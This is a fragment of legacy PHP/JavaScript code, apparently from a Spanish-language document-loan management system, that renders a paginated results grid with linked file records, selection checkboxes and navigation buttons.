        // Inicializa los registros a presentar seg�n la p�gina actual
        $iCounter = 0;
        $ant = "";
        if ($iPage > 1) {
            do {
                $new = $rs->fields["PRESTAMO_ID"];
                if ($new != $ant) {
                    $iCounter++;
                    $ant = $new;
                }
                $rs->MoveNext();
            } while ($iCounter < ($iPage - 1) * $iRecordsPerPage && !$rs->EOF);
        }
        $iCounterIni = $iCounter;
        // Display grid based on recordset
        $y = 0;
        // Cantidad de registros presentados
        include_once "getRtaSQLAntIn.inc";
        //Une en un solo campo los expedientes
        while ($rs && !$rs->EOF && $y < $iRecordsPerPage) {
            // Inicializa las variables con los resultados
            include "getRtaSQL.inc";
            if ($antfldPRESTAMO_ID != $fldPRESTAMO_ID) {
                //Une en un solo campo los expedientes
                if ($y != 0) {
                    include "cuerpoTabla.inc";
                }
                // Fila de la tabla con los resultados
                include "getRtaSQLAnt.inc";
                $y++;
            } else {
                if ($antfldEXP != "") {
                    $antfldEXP .= "<br>";
                    $antfldARCH .= "<br>";
                }
                $antfldEXP .= $fldEXP;
                if ($fldARCH == 'SI') {
                    $encabARCH = session_name() . "=" . session_id() . "&buscar_exp=" . tourl($fldEXP) . "&krd={$krd}&tipo_archivo=&nomcarpeta=";
                    $antfldARCH .= "<a href='javascript: void(0)' onclick=\"popup('{$ruta_raiz}/expediente/datos_expediente.php?{$encabARCH}&num_expediente=" . tourl($fldEXP) . "&ent=1&nurad=" . tourl($antfldRADICADO) . "')\" class='vinculos'>" . $fldARCH . "</a>";
                    //href="javascript: void(0)" onclick="popup('popup.html')"
                } else {
                    $antfldARCH .= $fldARCH;
                }
            }
            $rs->MoveNext();
        }
        if ($y != 0) {
            include "cuerpoTabla.inc";
            // Fila de la tabla con lso resultados
            $y++;
        }
        $cantRegPorPagina = $y;
        $iCounter = $iCounter + $y;
        ?>
        <script>
		   // Inicializa el arreglo con los radicados a procesar
		   var cantRegPorPagina=<?php 
        echo $cantRegPorPagina - 1;
        ?>
;	   		   
		   // Marca todas las casillas si la del titulo es marcada
		   function seleccionarRta() {
		      valor=document.rta.rta_.checked;
<?php 
        for ($j = 0; $j < $cantRegPorPagina; $j++) {
            ?>
              document.rta.rta_<?php 
            echo $j;
            ?>
.checked=valor;			  
<?php 
        }
        ?>
           }
		   // Valida y envia el formulario
		   function enviar() {			  
		      var cant=0;
			  for (i=0; i<cantRegPorPagina; i++) {
			     if (eval('document.rta.rta_'+i+'.checked')==true){ 
				    cant=1;
					break;
				}
			  }
			  if (cant==0) { alert("Debe seleccionar al menos un radicado"); }
			  else { 
			     document.rta.prestado.value=cantRegPorPagina;			  			  
			     document.rta.action="formEnvio.php";
				 document.rta.submit();
			  }
		   }
		   // Regresa al men� de pr�stamos
		   function regresar() {
		       document.rta.opcionMenu.value="";
               document.rta.action="menu_prestamo.php";			   			   
               document.rta.submit();
		   }		
        </script>  
<?php 
        // Build parameters for page
        if (strcasecmp($sDirection, " DESC ") == 0) {
            $sDirectionPages = " ASC ";
        } else {
            $sDirectionPages = " DESC ";
        }
        $form_params_page = $form_params_search . "&opcionMenu=" . tourl($opcionMenu) . "&FormPedidos_Sorted=" . tourl($iSort) . "&s_Direction=" . tourl($sDirectionPages) . "&krd=" . tourl($krd) . "&FormPedidos_Sorting=" . tourl($iSort);
        // N�mero total de registros
        $ant = $antfldPRESTAMO_ID;
        while ($rs && !$rs->EOF) {
            $new = $rs->fields["PRESTAMO_ID"];
            //para el manejo de expedientes
            if ($new != $ant) {
                $ant = $new;
                $iCounter++;
            }
            $rs->MoveNext();
        }
        $iCounter--;
        // Inicializa p�ginas visualizables
        $iNumberOfPages = 10;
        // Inicializa cantidad de p�ginas
        $iHasPages = intval($iCounter / $iRecordsPerPage);
        if ($iCounter % $iRecordsPerPage != 0) {
            $iHasPages++;
        }
        // Determina la p�gina inicial del intervalo
        $iStartPages = 1;
        $FormSiguiente = get_param("FormSiguiente");
        //Indica si (1) el n�mero de p�ginas es mayor al visualizable
        if ($FormSiguiente == 0) {
            $iStartPages = get_param("FormStarPage");
        } elseif ($FormSiguiente == -1) {
            $iStartPages = $iPage;
        } else {
            if ($iPage > $iNumberOfPages) {
                $iStartPages = $iPage - $iNumberOfPages + 1;
            }
        }
        // Genera las p�ginas visualizables
        $sPages = "";
        if ($iHasPages > $iNumberOfPages) {
            if ($iStartPages == 1) {
                $sPages .= "|<  <<   ";
            } else {
                $sPages .= "<a href=\"{$sFileName}?{$form_params_page}&FormPedidos_Page=1&FormStarPage=1&FormSiguiente=0&\">\n\t\t\t             <font class=\"ColumnFONT\" title=\"Ver la primera p&aacute;gina\">|<</font></a>&nbsp;";
                $sPages .= "&nbsp;<a href=\"{$sFileName}?{$form_params_page}&FormPedidos_Page=" . tourl($iStartPages - 1) . "&FormStarPage=" . tourl($iStartPages - 1) . "&FormSiguiente=-1&\"><font class=\"ColumnFONT\" title=\"Ver la p&aacute;gina " . ($iStartPages - 1) . "\"><<</font></a>&nbsp;&nbsp;&nbsp;";
            }
        }
        for ($iPageCount = $iStartPages; $iPageCount < $iStartPages + $iNumberOfPages; $iPageCount++) {
            if ($iPageCount <= $iHasPages) {
                $sPages .= "<a href=\"{$sFileName}?{$form_params_page}&FormPedidos_Page={$iPageCount}&FormStarPage=" . tourl($iStartPages) . "&FormSiguiente=0&\">\n\t\t\t             <font class=\"ColumnFONT\" title=\"Ver la p&aacute;gina " . $iPageCount . "\">" . $iPageCount . "</font></a>&nbsp;";
            } else {
                break;
            }
        }
        if ($iHasPages > $iNumberOfPages) {
            if ($iPageCount - 1 < $iHasPages) {
                $sPages .= "...&nbsp;&nbsp;<a href=\"{$sFileName}?{$form_params_page}&FormPedidos_Page={$iPageCount}&FormStarPage=" . tourl($iStartPages) . "&FormSiguiente=1&\"><font class=\"ColumnFONT\" title=\"Ver la p&aacute;gina " . $iPageCount . "\">>></font></a>&nbsp;&nbsp;";
                $sPages .= "&nbsp;<a href=\"{$sFileName}?{$form_params_page}&FormPedidos_Page={$iHasPages}&FormStarPage=tourl({$iStartPages})\n                         &FormSiguiente=1&\"><font class=\"ColumnFONT\" title=\"Ver la &uacute;ltima p&aacute;gina\">>|</font></a>";
            } else {
                $sPages .= "   >>  >|";
            }
        }
        ?>
         <tr class="titulos5" align="center">		 
            <td class="leidos" colspan="<?php 
        echo $numCol + 1;
        ?>
"><center><br><?php 
        echo $sPages;
        ?>
<br><br>P&aacute;gina <?php 
        echo $iPage;
        ?>
/<?php 
        echo $iHasPages;
        ?>
<br>
														   Total de Registros: <?php 
        echo $iCounter;
        ?>
<br>&nbsp;</center></td>
         </tr>
<?php 
        // Botones para procesar
        if ($tipoRespuesta[$opcionMenu][$numRtaMax] == "") {
            ?>
						
         <tr class="titulos4" align="center">		 
            <td class="listado1" colspan="<?php 
            echo $numCol + 1;
            ?>
" align="center"><center>
			<input type="button" class='botones' value="<?php 
            echo $tituloSubmitRta[$opcionMenu];
            ?>
" onClick="javascript:enviar();">
			<input type="button" class='botones' value="Cancelar" title="Regresa al men&uacute; de pr&eacute;stamo y control de documentos" onClick="javascript:regresar();"></center>
			</td>		
         </tr>				
<?php 
        }
        ?>
							 
      </table>
      </form>	  
<?php 
    }
    //fin if
}